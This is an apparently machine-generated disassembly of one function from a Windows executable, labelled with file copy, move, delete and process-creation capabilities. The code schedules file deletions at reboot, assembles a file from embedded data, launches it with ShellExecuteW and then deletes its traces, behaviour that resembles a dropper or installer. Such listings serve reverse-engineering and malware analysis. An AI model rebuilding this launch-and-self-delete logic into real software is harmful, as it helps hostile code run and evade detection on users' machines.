Function at 0x403a48
Capabilities:
Copy file
Create process on windows
Delete file
Move file

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffd8
mov ebx, eax
cmp dl, 1
jne 0x403f67
push ebx
call sub.Kernel32.dll_lstrlenW
mov ecx, eax
mov edx, 0x404000
mov eax, ebx
call fcn.0040205c
dec eax
jle 0x403a7b
push 4
push 0
push ebx
call sub.Kernel32.dll_MoveFileExW
push ebx
call sub.Kernel32.dll_lstrlenW
mov ecx, eax
mov edx, 0x40401c
mov eax, ebx
call fcn.0040205c
dec eax
jle 0x403a9c
push 4
push 0
push ebx
call sub.Kernel32.dll_MoveFileExW
push ebx
call sub.Kernel32.dll_lstrlenW
mov ecx, eax
mov edx, 0x404034
mov eax, ebx
call fcn.0040205c
dec eax
jle 0x403abd
push 4
push 0
push ebx
call sub.Kernel32.dll_MoveFileExW
push ebx
call sub.Kernel32.dll_lstrlenW
mov ecx, eax
mov edx, 0x404050
mov eax, ebx
call fcn.0040205c
dec eax
jle 0x403ade
push 4
push 0
push ebx
call sub.Kernel32.dll_MoveFileExW
push ebx
call sub.Kernel32.dll_lstrlenW
mov ecx, eax
mov edx, 0x404068
mov eax, ebx
call fcn.0040205c
dec eax
jle 0x403aff
push 4
push 0
push ebx
call sub.Kernel32.dll_MoveFileExW
push ebx
call sub.Kernel32.dll_lstrlenW
mov ecx, eax
mov edx, 0x404080
mov eax, ebx
call fcn.0040205c
dec eax
jle 0x403b20
push 4
push 0
push ebx
call sub.Kernel32.dll_MoveFileExW
push ebx
call sub.Kernel32.dll_lstrlenW
mov ecx, eax
mov edx, 0x404098
mov eax, ebx
call fcn.0040205c
dec eax
jle 0x403b41
push 4
push 0
push ebx
call sub.Kernel32.dll_MoveFileExW
push ebx
call sub.Kernel32.dll_lstrlenW
mov ecx, eax
mov edx, 0x4040b0
mov eax, ebx
call fcn.0040205c
dec eax
jle 0x403b62
push 4
push 0
push ebx
call sub.Kernel32.dll_MoveFileExW
push ebx
call sub.Kernel32.dll_lstrlenW
mov ecx, eax
mov edx, 0x4040c8
mov eax, ebx
call fcn.0040205c
dec eax
jle 0x403b83
push 4
push 0
push ebx
call sub.Kernel32.dll_MoveFileExW
push ebx
call sub.Kernel32.dll_lstrlenW
mov ecx, eax
mov edx, 0x4040e4
mov eax, ebx
call fcn.0040205c
dec eax
jle 0x403ba4
push 4
push 0
push ebx
call sub.Kernel32.dll_MoveFileExW
push ebx
call sub.Kernel32.dll_lstrlenW
mov ecx, eax
mov edx, 0x4040fc
mov eax, ebx
call fcn.0040205c
dec eax
jle 0x403bc5
push 4
push 0
push ebx
call sub.Kernel32.dll_MoveFileExW
mov eax, ebx
call fcn.00401e34
mov edi, eax
push ebx
call sub.Kernel32.dll_lstrlenW
mov ecx, eax
mov edx, 0x404110
mov eax, edi
call fcn.0040205c
dec eax
jle 0x403bf1
push ebx
mov eax, dword [0x40702c]
push eax
call sub.Kernel32.dll_lstrcpyW
push ebx
call sub.Kernel32.dll_lstrlenW
mov ecx, eax
mov edx, 0x40412c
mov eax, edi
call fcn.0040205c
dec eax
jle 0x403c14
push ebx
mov eax, dword [0x407030]
push eax
call sub.Kernel32.dll_lstrcpyW
push ebx
call sub.Kernel32.dll_lstrlenW
mov ecx, eax
mov edx, 0x40414c
mov eax, edi
call fcn.0040205c
dec eax
jle 0x403f55
mov eax, ebx
call fcn.00402cac
mov dword [esp + 4], eax
push 0x404174
mov eax, dword [esp + 8]
push eax
call sub.Kernel32.dll_lstrcatW
push 0x404178
mov eax, dword [esp + 8]
push eax
call sub.Kernel32.dll_lstrcatW
xor eax, eax
mov dword [esp + 0x14], eax
call fcn.004029fc
lea edx, [esp + 0x14]
call fcn.00401f60
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x1c]
mov edx, dword [esp + 0x14]
call fcn.004024a0
lea edx, [esp + 0x14]
mov eax, dword [esp + 0x1c]
call fcn.00402df8
mov ecx, dword [esp + 4]
mov edx, dword [esp + 0x14]
call fcn.0040224c
push 0x8000
push 0
mov eax, dword [esp + 0x24]
push eax
call sub.Kernel32.dll_VirtualFree_1
xor eax, eax
mov dword [esp + 0x10], eax
mov eax, ebx
call fcn.00402cac
mov dword [esp + 8], eax
push 0x404174
mov eax, dword [esp + 0xc]
push eax
call sub.Kernel32.dll_lstrcatW
push 0x404190
mov eax, dword [esp + 0xc]
push eax
call sub.Kernel32.dll_lstrcatW
lea edx, [esp + 0x10]
mov eax, dword [esp + 8]
call fcn.00401f60
mov dword [esp + 0x20], eax
push 4
push 0x3000
push 0x2e
push 0
call sub.Kernel32.dll_VirtualAlloc_1
mov ebp, eax
push 4
push 0x3000
push 0x44
push 0
call sub.Kernel32.dll_VirtualAlloc_1
mov dword [esp + 0xc], eax
push 0x4041a8
push ebp
call sub.Kernel32.dll_lstrcpyA
push 0x4041c0
mov eax, dword [esp + 0x10]
push eax
call sub.Kernel32.dll_lstrcpyA
push 4
push 0x3000
mov eax, dword [esp + 0x18]
add eax, 0x200
push eax
push 0
call sub.Kernel32.dll_VirtualAlloc_1
mov dword [esp + 0x24], eax
mov edx, 0x4041f4
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x20]
call fcn.00401fc8
mov esi, eax
add esi, 0x12
mov ecx, esi
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 0x24]
call fcn.004020f4
push ebp
call sub.Kernel32.dll_lstrlenA
mov ecx, eax
mov eax, dword [esp + 0x24]
add eax, esi
mov edx, ebp
call fcn.004020f4
lea ebp, [esi + 0x14]
mov edx, 0x40421c
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x20]
call fcn.00401fc8
mov dword [esp + 0x18], eax
mov ecx, dword [esp + 0x18]
sub ecx, esi
mov edx, dword [esp + 0x20]
add edx, esi
mov eax, dword [esp + 0x24]
add eax, ebp
call fcn.004020f4
mov eax, dword [esp + 0xc]
push eax
call sub.Kernel32.dll_lstrlenA
mov ecx, eax
mov eax, dword [esp + 0x24]
add eax, ebp
mov edx, dword [esp + 0x18]
sub edx, esi
add eax, edx
mov edx, dword [esp + 0xc]
call fcn.004020f4
mov ebp, dword [esp + 0x18]
sub ebp, esi
add ebp, esi
mov eax, dword [esp + 0xc]
push eax
call sub.Kernel32.dll_lstrlenA
cdq
push edx
push eax
mov eax, dword [esp + 0x2c]
add eax, ebp
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
add eax, 0x14
adc edx, 0
mov ecx, dword [esp + 0x10]
sub ecx, ebp
mov edx, dword [esp + 0x20]
add edx, ebp
call fcn.004020f4
mov edx, dword [esp + 0x10]
add edx, 0x80
mov ecx, dword [esp + 8]
mov eax, dword [esp + 0x24]
call fcn.0040224c
push 4
push 0x3000
push 0x400
push 0
call sub.Kernel32.dll_VirtualAlloc_1
mov esi, eax
push 0x40423c
push esi
call sub.Kernel32.dll_lstrcpyW
push ebx
push esi
call sub.Kernel32.dll_lstrcatW
push 0x404248
push esi
call sub.Kernel32.dll_lstrcatW
push 0
push 0
push esi
mov eax, dword [0x40702c]
push eax
push 0x404270
push 0
call sub.Shell32.dll_ShellExecuteW
push 0x3e8
call sub.Kernel32.dll_Sleep
mov eax, dword [esp + 4]
push eax
call sub.Kernel32.dll_DeleteFileW
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x20]
call fcn.0040224c
mov eax, ebx
call fcn.00402cac
mov ebp, eax
push 0x404174
push ebp
call sub.Kernel32.dll_lstrcatW
push 0x40427c
push ebp
call sub.Kernel32.dll_lstrcatW
push 0
mov eax, dword [0x407030]
push eax
push ebp
call sub.Kernel32.dll_CopyFileW
mov eax, ebx
call fcn.00402cac
mov dword [esp], eax
push 0x404174
mov eax, dword [esp + 4]
push eax
call sub.Kernel32.dll_lstrcatW
push 0x404294
mov eax, dword [esp + 4]
push eax
call sub.Kernel32.dll_lstrcatW
mov eax, dword [esp]
push eax
call sub.Kernel32.dll_DeleteFileW
push 0x8000
push 0
mov eax, dword [esp + 8]
push eax
call sub.Kernel32.dll_VirtualFree_1
push 0x8000
push 0
mov eax, dword [esp + 0xc]
push eax
call sub.Kernel32.dll_VirtualFree_1
push 0x8000
push 0
push esi
call sub.Kernel32.dll_VirtualFree_1
push ebp
call sub.Kernel32.dll_DeleteFileW
push 0x8000
push 0
push ebp
call sub.Kernel32.dll_VirtualFree_1
push 0x4042ac
mov eax, dword [0x40702c]
push eax
call sub.Kernel32.dll_lstrcpyW
push 0x4042ac
mov eax, dword [0x407030]
push eax
call sub.Kernel32.dll_lstrcpyW
push 0x8000
push 0
push edi
call sub.Kernel32.dll_VirtualFree_1
jmp 0x403fea
mov edx, 0x4042b0
mov eax, ebx
call fcn.00401f34
test al, al
je 0x403fea
mov eax, ebx
call fcn.00402b8c
test al, al
jne 0x403fea
call fcn.004029fc
mov esi, eax
lea edx, [esp + 0x10]
mov eax, esi
call fcn.00401f60
push eax
mov al, 0xc
call fcn.004021a4
call fcn.00401df4
mov ecx, eax
mov edx, dword [esp + 0x14]
pop eax
call fcn.004022e8
mov edi, eax
mov edx, edi
mov eax, ebx
call fcn.00401bec
mov edx, edi
mov eax, ebx
call fcn.00401678
mov edx, edi
mov eax, ebx
call fcn.00402a24
push edi
call sub.Kernel32.dll_DeleteFileW
push 0x8000
push 0
push edi
call sub.Kernel32.dll_VirtualFree_1
push 0x8000
push 0
push esi
call sub.Kernel32.dll_VirtualFree_1
push 0x8000
push 0
push ebx
call sub.Kernel32.dll_VirtualFree_1
add esp, 0x28
pop ebp
pop edi
pop esi
pop ebx
ret